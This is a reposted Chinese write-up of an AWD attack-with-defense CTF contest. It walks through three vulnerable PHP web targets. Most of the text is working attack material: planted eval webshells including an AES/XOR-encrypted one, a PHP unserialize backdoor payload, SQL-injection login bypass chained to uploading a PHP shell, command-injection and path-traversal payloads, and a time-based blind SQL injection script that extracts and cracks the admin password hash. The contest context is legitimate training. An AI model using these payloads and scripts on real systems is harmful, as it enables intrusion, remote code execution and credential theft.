跟着表哥學習如何打「AWD比賽」


在很多大型互聯網公司中,安全團隊會經常組織攻防模擬演練,目的是以攻促防,提前發現潛在風險,協助提升業務系統安全性和完善安全系統能力,更有效的抵御黑客攻擊。

 

在網絡安全的眾多比賽中,AWD比賽就是這種攻防兼備的比賽形式。今天分享的文章是 i 春秋論壇的作者flag0原創的文章,他為我們帶來的是一次AWD比賽的總結,想要了解AWD比賽的小伙伴,這篇文章不容錯過,文章未經許可禁止轉載!

注:i 春秋公眾號旨在為大家提供更多的學習方法與技能技巧,文章僅供學習參考。

 

AWD介紹

AWD(Attack With Defense,攻防兼備)是一個非常有意思的模式,你需要在一場比賽里要扮演攻擊方和防守方,攻者得分,失守者會被扣分。也就是說,攻擊別人的靶機可以獲取 Flag 分數時,別人會被扣分,同時你也要保護自己的主機不被別人得分,以防扣分。

這種模式非常激烈,賽前准備要非常充分,手上要有充足的防守方案和 EXP 攻擊腳本,而且參賽越多,積累的經驗就越多,獲勝的希望就越大。

 

比賽規則

  • 每個團隊分配到一個Docker主機,給定Web(Web)/ Pwn(Pwn)用戶權限,通過特定的端口和密碼進行連接;
  • 每台Docker主機上運行一個網絡服務或其他的服務,需要選手保證其可用性,並嘗試審計代碼,攻擊其他隊伍;
  • 選手可以通過使用突破獲取其他隊伍的服務器的權限,讀取其他服務器上的標志並提交到平台上;
  • 每次成功攻擊可能5分,被攻擊者取代5分;
  • 有效攻擊五分鍾一輪。選手需要保證己方服務的可用性,每次服務不可用,替換10分;
  • 服務檢測五分鍾一輪;
  • 禁止使用任何形式的DOS攻擊,第一次發現扣1000分,第二次發現取消比賽資格。

Web1

首先用D盾進行查殺。

 

預留后門

pass.php

<?php
@eval($_POST['pass']);
?>

很簡單直接的一句話后門

yjh.php

<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
    $key=substr(md5(uniqid(rand())),16);
    //uniqid() 函數基於以微秒計的當前時間,生成一個唯一的 ID
    //這里用於生成session
    $_SESSION['k']=$key;
    print $key;
}
else
{
    $key=$_SESSION['k'];
    $post=file_get_contents("php://input");//讀取post內容
    if(!extension_loaded('openssl'))//檢查openssl擴展是否已經加載
    {//如果沒有openssl
        $t="base64_"."decode";
        $post=$t($post."");//base64_decode

        for($i=0;$i<strlen($post);$i++) {
                 $post[$i] = $post[$i]^$key[$i+1&15]; //進行異或加密
                }
    }
    else
    {
        $post=openssl_decrypt($post, "AES128", $key);//aes加密
    }
    $arr=explode('|',$post);//返回由字符串組成的數組
    $func=$arr[0];
    $params=$arr[1];//獲取第二個

    class C
    {
        public function __construct($p) // __construct() 允許在實例化一個類之前先執行構造方法
        {
            eval($p."");//直接eval
        }
    }
    home.php?mod=space&uid=162648 C($params);
}
?>

生成隨機密鑰值通過密鑰值對加密,如果服務器沒有openssl擴展,則與密鑰值進行異或解密,如果有openssl環境,則使用密鑰值進行解密。

搞清楚了代碼邏輯之后,編寫利用腳本。

服務端有openssl擴展的利用腳本

import requests
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad

def aes_encode(key, text):
    key = key.encode()
    text = text.encode()
    text = pad(text, 16)
    model = AES.MODE_CBC  # 定義模式
    aes = AES.new(key, model, b'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0')
    enPayload = aes.encrypt(text)  # 加密明文
    enPayload = base64.encodebytes(enPayload)  # 將返回的字節型數據轉進行base64編碼
    return enPayload

def getBinXie(url):
    req = requests.session()
    url = url+"/yjh.php"
    par = {
        'pass':''
    }
    key = req.get(url,params=par).content
    key = str(key,encoding="utf8")
    payload = '1|system("cat /flag");'
    enPayload = aes_encode(key,payload)
    res = req.post(url,enPayload).text
    return res
if __name__ == '__main__':
    url = "http://localhost"
    flag = getBinXie(url)
    print(flag)

因為php中加密方式是AES128,所以可以判斷是CBC模式。

服務端沒有openssl擴展的利用腳本

當沒有擴展的時候會執行異或加密

def xorEncode(key,text):
    textNew = ""
    for i in range(len(text)):
        left = ord(text[i])
        rigth = ord(key[i+1&15])
        textNew += chr(left ^ rigth)
    textNew = base64.b64encode(textNew.encode())
    textNew = str(textNew,encoding="utf8")
    return textNew
def getBinXieXor(url):
    req = requests.session()
    url = url+"/login/yjh.php"
    par = {
        'pass':''
    }
    key = req.get(url,params=par).content
    key = str(key,encoding="utf8")
    text = "|system('cat /flag');"
    enPayload = xorEncode(key,text)
    res = req.post(url, enPayload).text
    return res

在Web1中,login\yjh.php與pma\binxie2.0.1.php與yjh.php內容是一樣的。

 

反序列化后門

sqlhelper.php

D盾沒掃出來的,還有一個反序列化后門。

if (isset($_POST['un']) && isset($_GET['x'])){
class A{
    public $name;
    public $male;

    function __destruct(){//析構方法,當這個對象用完之后,會自動執行這個函數中的語句
        $a = $this->name;
        $a($this->male);//利用點
    }
}

unserialize($_POST['un']);
}

$a($this->amle)如果$a=eval;$b=system('cat /flag');

就相當於eval(system("cat /flag"));

構造payload:

<?php
class A{
    public $name;
    public $male;

    function __destruct(){//對象的所有引用都被刪除或者當對象被顯式銷毀時執行
        $a = $this->name;
        $a($this->male);//利用點
}
$flag = new A();
$flag -> name = "system";
$flag -> male = "cat /flag";
var_dump(serialize($flag));
?>

獲得反序列化字符串:

O:1:"A":2:{s:4:"name";s:6:"system";s:4:"male";s:9:"cat /flag";}

 

封裝成攻擊函數:

def getSerialize(url):
    import requests
    url = url + "/sqlhelper.php?x=a"
    payload = {
        "un":'O:1:"A":2:{s:4:"name";s:6:"system";s:4:"male";s:9:"cat /flag";}'
    }
    flag = requests.post(url=url,data=payload).content
    return str(flag,encoding="utf8").strip()

 

文件上傳漏洞

info.php

<?php
include_once "header.php";
include_once "sqlhelper.php";
?>
<?php
if (isset($_POST['address'])) {
    $helper = new sqlhelper();
    $address = addslashes($_POST['address']);
    if (isset($_POST['password'])) {
        $password = md5($_POST['password']);
        $sql = "UPDATE  admin SET address='$address',password='$password' WHERE id=$_SESSION[id]";
    } else {
        $sql = "UPDATE  admin SET address='$address'  WHERE id=$_SESSION[id]";
    }
    $res = $helper->execute_dml($sql);
    if ($res) {
        echo "<script>alert('更新成功');</script>";
    }
    if (isset($_FILES)) {
        if ($_FILES["file"]["error"] > 0) {
            echo "錯誤:" . $_FILES["file"]["error"] . "<br>";
        } else {
            $type = $_FILES["file"]["type"];
            if($type=="image/jpeg"){
                $name =$_FILES["file"]["name"] ;
                if (file_exists("upload/" . $_FILES["file"]["name"]))
                {
                    echo "<script>alert('文件已經存在');</script>";
                }
                else
                {
                    move_uploaded_file($_FILES["file"]["tmp_name"], "assets/images/avatars/" . $_FILES["file"]["name"]);
                    $helper = new sqlhelper();
                    $sql = "UPDATE  admin SET icon='$name' WHERE id=$_SESSION[id]";
                    $helper->execute_dml($sql);
                }
            }else{
                echo "<script>alert('不允許上傳的類型');</script>";
            }
        }
    }
}

?>

可以看到文件上傳的這里,只驗證了cron-type,只要是把其修改為image/jepg就可以上傳任意文件到assets/images/avatars/目錄下了。

這里屬於后台頁面有權限控制,必須登陸后才能訪問。

<?php
session_start();
if (!isset($_SESSION['username'])){
    header('Location: /login');
}

查看登陸頁面login/index.php

<?php
if (isset($_POST['username'])){
    include_once "../sqlhelper.php";
    $username=$_POST['username'];
    $password = md5($_POST['password']);
    $sql = "SELECT * FROM admin where name='$username' and password='$password';";
    $help = new sqlhelper();
    $res  = $help->execute_dql($sql);
    echo $sql;
    if ($res->num_rows){
        session_start();
        $row = $res->fetch_assoc();
        $_SESSION['username'] = $username;
        $_SESSION['id'] = $row['id'];
        $_SESSION['icon'] = $row['icon'];
        echo "<script>alert('登錄成功');window.location.href='/'</script>";
    }else{
        echo "<script>alert('用戶名密碼錯誤')</script>";
    }
}

SQL語句輸入的部分沒有任何過濾,很明顯存在SQL注入漏洞,可以萬能密碼登陸繞過。

POST /login/index.php HTTP/1.1
Host: localhost.110.165.119:90
Content-Length: 33
Cache-Control: max-age=0
Origin: http://localhost:90
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:90/login/index.php
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=494n7s8cfqqarg9qaqm57ql534
Connection: close

username=admin'%23&password=ccccc

利用鏈為login/index.php萬能密碼登陸-> info.php任意文件上傳。

編寫腳本:

def getUPload(url):
    import requests
    req = requests.session()
    datas = {
        "username":"admin'#",
        "password":""
    }
    login = req.post(url=url+"login/index.php",data=datas)

    head = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0",
    "Cookie": "PHPSESSID="+login.cookies.items()[0][1]
    }
    datas = {
        "address":"123123"
    }

    file = {
        ("file",("shell.php","<?php eval($_POST['cmd']);?>","image/jpeg"))
    }

    req.post(url+"info.php",headers=head,files=file,data=datas).text

    datas = {
        "cmd":"system('cat /flag');",
    }
    flag = req.post(url+"assets/images/avatars/shell.php",data=datas).text
    return flag.strip()

 

Web2

同樣先用D盾掃一掃

 

預留后門

index.php

<!-- partial -->
<script src="./script.js"></script>
<?php @eval($_POST['nono']);?>
</body>
</html>

images \ pass.php與icon \ pww.php

是和Web1類似,這里就不再過多描述。

 

命令執行

connect.php

D盾報警的是這行$r = exec("ping -c 1 $host");

查看整段的邏輯:

<?php
if ($check == 'net') {
    $r = exec("ping -c 1 $host");
    if ($r) {
        ?>
        <div class="sufee-alert alert with-close alert-success alert-dismissible fade show">
            <span class="badge badge-pill badge-success">Success</span>
            網絡通暢
            <button type="button" class="close" data-dismiss="alert" aria-label="Close">
<span aria-hidden="true">×</span>
            </button>
        </div>
        <?php
    } else {
        ?>
        <div class="sufee-alert alert with-close alert-danger alert-dismissible fade show">
            <span class="badge badge-pill badge-danger">Error</span>
            網絡異常
            <button type="button" class="close" data-dismiss="alert" aria-label="Close">
<span aria-hidden="true">×</span>
            </button>
        </div>
        <?php
    }
}
echo "";
?>

發現並沒有回顯,而是根據狀態來顯示不同的html代碼,其中$host變量是可控的,我們看下是怎么賦值的:

if (isset($_GET['check'])) {
    $check = $_GET['check'];
    $id = intval($_GET['id']);
    $sql = "SELECT host,port from host where id = $id";
    $res = $helper->execute_dql($sql);
    $row = $res->fetch_assoc();
    $host = $row['host'];
    $port = $row['port'];
    if ($check=='web'){
        $location = $host.':'.$port; // Get the URL from the user.
        $curl = curl_init();
        curl_setopt($curl, CURLOPT_URL, $location); // Not validating the input. Trusting the location variable
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
        $res_web = curl_exec($curl);
        curl_close($curl);

    }

}

可以看到是從數據庫查詢的結果,接着看是如何插入數據庫的:

if (isset($_POST['host'])) {
    $host = addslashes($_POST['host']);
    $port = intval($_POST['port']);
    if ($host && $port) {
        $sql = "INSERT INTO `host` (`host`, `port`) VALUES ('$host', '$port')";
        $res = $helper->execute_dml($sql);
        echo "<script>alert('成功加入雲主機');</script>";
    } else {
        echo "<script>alert('不可以為空');</script>";
    }
}

在傳入的時候經過了addslashes轉義,但是轉義對命令執行來說沒有什么作用。

在connect.php中開頭包含了header.php文件。

<?php
include "header.php";
include_once "sqlhelper.php";
$helper = new sqlhelper();

而header.php中包含了login_require.php在其中有session的檢測。

<?php
session_start();
if (!isset($_SESSION['username'])){
    header('Location: /login');
}

在login/index.php中存在的SQL語句沒有經過任何過濾,存在SQL注入,可以使用萬能密碼登陸。

<?php
if (isset($_POST['username'])) {
    include_once "../sqlhelper.php";
    $username = $_POST['username'];
    $password = md5($_POST['password']);
    $sql = "SELECT * FROM admin where username='$username' and password='$password'";
    $help = new sqlhelper();
    $res = $help->execute_dql($sql);
    if ($res->num_rows) {
        session_start();
        $row = $res->fetch_assoc();
        $_SESSION['username'] = $username;
        $_SESSION['id'] = $row['id'];
        echo "<script>alert('登錄成功');window.location.href='/'</script>";
    } else {
        echo "<script>alert('用戶名密碼錯誤')</script>";
    }
}
?>

構造payload

構造利用payload

POST /connect.php?check=net&id=16 HTTP/1.1
Host: localhost:91
Content-Length: 60
Cache-Control: max-age=0
Origin: http://localhost:91
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:91/connect.php?check=net&id=16
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=6f3h723lnmdc1vd4u066p2rc75
Connection: close

host=||cat /flag > /usr/local/apache2/htdocs/1.txt&port=1123

因為沒有回顯所以將標志寫入文件中,我們直接訪問即可。

雖然有session,但是發現不登陸直接訪問也可以。

 

雖然304跳轉,但是卻仍然執行命令了。

編寫利用模塊:

def getExec(url):
    import requests
    datas = {
        "host":"||cat /flag > /usr/local/apache2/htdocs/1.txt",
        "port":9999
    }

    requests.post(url+"/connect.php?check=net&id=16",data=datas)#執行命令
    flag = requests.get(url+"1.txt").text
    return flag.strip()

 

任意文件訪問

img.php

<?php
$file = $_GET['img'];
$img = file_get_contents('images/icon/'.$file);
//使用圖片頭輸出瀏覽器
header("Content-Type: image/jpeg;text/html; charset=utf-8");
echo $img;
exit;

這里可以利用目錄穿越,直接讀取到flag。

構造payload:

/img.php?img=/../../../../../../flag

編寫利用模塊:

def getImg(url):
    import requests
    param = {
        "img":"/../../../../../../flag"
    }
    flag = requests.get(url+"/img.php",params=param).text
    return flag.strip()

反序列化后門

sqlhelper.php

<?php

class A{
    public $name;
    public $male;

    function __destruct(){
        $a = $this->name;
        $a($this->male);
    }
}

unserialize($_POST['un']);
?>

這里的利用和Web1中的利用是一樣的,只不過少了if (isset($_POST['un']) && isset($_GET['x']))的限制,少了$_GET['x']參數,用之前的利用模塊即可。

 

Web3

同樣這里使用D盾掃一下

 

只掃到了一個

 

命令執行

export.php

<?php
if (isset($_POST['name'])){
    $name = $_POST['name'];
    exec("tar -cf backup/$name images/*.jpg");
    echo "<div class=\"alert alert-success\" role=\"alert\">導出成功,<a href='backup/$name'>點擊下載</a></div>";
}
?>

構造payload:

name=||cat /flag > /usr/local/apache2/htdocs/1.txt||

因為這里沒有回顯所以,也只能導出flag,或者可以利用這個后門寫入Webshell。

編寫利用模塊:

def getExec3(url):
    import requests
    datas = {
        "name":"||cat /flag > /usr/local/apache2/htdocs/1.txt||"
    }
    requests.post(url+"/export.php",data=datas)
    flag = requests.get(url+"/1.txt").text
    return flag.strip()

文件包含

index.php

<?php
include_once "login_require.php";
if (isset($_GET['page'])){
    $page = $_GET['page'];

}else{
        $page = 'chart.php';
}
?>
<!--                            --><?php
                            include_once "$page";
//                            ?>

構造payload,直接包含標志文件(這里必須登陸,才可以利用)。

index.php?page=../../../../flag

 

看一下login / index.php

<?php
if (isset($_POST['username'])) {
    include_once "../sqlhelper.php";
    $username = addslashes($_POST['username']);
    $password = md5($_POST['password']);
    $sql = "SELECT * FROM admin where username='$username' and password='$password'";
    var_dump($sql);
    $help = new sqlhelper();
    $res = $help->execute_dql($sql);
    if ($res->num_rows) {
        session_start();
        $row = $res->fetch_assoc();
        $_SESSION['username'] = $username;
        $_SESSION['id'] = $row['id'];
        echo "<script>alert('登錄成功');window.location.href='/'</script>";
    } else {
        echo "<script>alert('用戶名密碼錯誤')</script>";
    }
}
?>

username處被addslashes( )轉義了,而且沒有編碼轉換。

這里只能使用默認的賬號密碼登陸,查看數據庫中密碼。

INSERT INTO `admin` (`id`, `username`, `password`) VALUES
(1, 'admin', 'e10adc3949ba59abbe56e057f20f883e');

經在線解密為123456

我們據此構造利用模塊:

def getInclude(url):
    import requests
    import re
    req = requests.session()
    datas = {
        "username":"admin",
        "password":"123456"
    }
    login = req.post(url=url+"login/index.php",data=datas)

    head = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0",
    "Cookie": "PHPSESSID="+login.cookies.items()[0][1]
    }
    param = {
        "page":"../../../../flag"
    }

    rep = req.get(url+"/index.php",params=param,headers=head).text
    keys = re.search("flag{(.+?)}",rep)
    flag = keys.group(1)
    flag = "flag{"+flag+"}"
    return flag

這樣就只有賬號密碼沒有修改的會中招。

 

SQL注入

order.php

order.php處存在SQL注入漏洞,用延時注入可以注入出來密碼,但是效率有點低。

<?php
include_once "sqlhelper.php";
$helper = new sqlhelper();
if (isset($_POST['name'])) {
    $name = addslashes($_POST['name']);
    $price = intval($_POST['price']);
    if (isset($_FILES)) {
        // 允許上傳的圖片后綴
        $allowedExts = array("gif", "jpeg", "jpg", "png");
        $temp = explode(".", $_FILES["file"]["name"]);
        $extension = end($temp);     // 獲取文件后綴名
        if ((($_FILES["file"]["type"] == "image/gif")
                || ($_FILES["file"]["type"] == "image/jpeg")
                || ($_FILES["file"]["type"] == "image/jpg")
                || ($_FILES["file"]["type"] == "image/pjpeg")
                || ($_FILES["file"]["type"] == "image/x-png")
                || ($_FILES["file"]["type"] == "image/png"))
            && ($_FILES["file"]["size"] < 204800)   // 小於 200 kb
            && in_array($extension, $allowedExts)) {
            if ($_FILES["file"]["error"] > 0) {
                echo "錯誤:" . $_FILES["file"]["error"] . "<br>";
            } else {
                $filename = $_FILES["file"]["name"];
                if (file_exists("upload/" . $_FILES["file"]["name"])) {
                    echo "<script>alert('文件已經存在');</script>";
                } else {
                    move_uploaded_file($_FILES["file"]["tmp_name"], "images/" . $_FILES["file"]["name"]);
                }
            }
        } else {
            echo "<script>alert('不允許上傳的類型$t');</script>";
        }
    }

    if ($name && $price) {
        $sql = "INSERT INTO `product` (`name`, `price`,`img`) VALUES ('$name', '$price','$filename')";
        $res = $helper->execute_dml($sql);
        if ($res){
            echo "<script>alert('添加成功');</script>";

        }
    } else {
        echo "<script>alert('添加失敗');</script>";
    }
}

這里的insert語句將'$name', '$price','$filename'帶入了數據庫。

$name = addslashes($_POST['name']);
$price = intval($_POST['price']);

而$ name和$ price經過了處理,只有$ filename參數可以利用了,可以使用延時注入。

下面附上腳本,可以調用cmd5的接口進行md5解密,但是這個腳本跑下來效率很低。

#coding=utf8
import requests
import time

def getAdminPass(url):
    passwdMd5 = ""
    md5Api = "https://www.cmd5.com/api.ashx?email=郵箱&key=這里換上你的key&hash="
    for i in range(32):
        for c in range(32,127):
            payload = "' or if((ascii(mid((select password from admin),{0},1))={1}),sleep(3),1))#') .png".format(str(i+1),str(c))
            print(payload)
            file = {
                ("file", ("{0}".format(payload), "", "image/png"))
            }
            datas = {
                "name": "1",
                "price": "2"
            }
            start_time = time.time()
            requests.post(url + "/order.php", data=datas, files=file)
            end_time = time.time()
            if (end_time - start_time) > 3:
                passwdMd5 += chr(c)
                print(passwdMd5)
                break

    passwd = requests.get(md5Api+passwdMd5).text.strip()
    errDict = {
        0:"解密失敗",
        -1:"無效的用戶名密碼",
        -2:"余額不足",
        -3:"解密服務器故障",
        -4:"不識別的密文",
        -7:"不支持的類型",
        -8:"api權限被禁止",
        -999:"其它錯誤"
    }
    if "CMD5-ERROR" in passwd:
        index = passwd.rfind(":")
        errId = passwd[index+1:]
        errStr = errDict.get(int(errId))
        return "[-]Error: "+errStr
    else:
        return passwd.strip()

if __name__ == '__main__':
    url = "http://locahost:92"
    passwd = getAdminPass(url)
    print(passwd)

 

總結

這次比賽是三個Web兩個Pwn,一共三個小時的時間,比賽過程中驚嘆於師傅們的快速審計與突破利用能力,深深的感覺到了差距。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM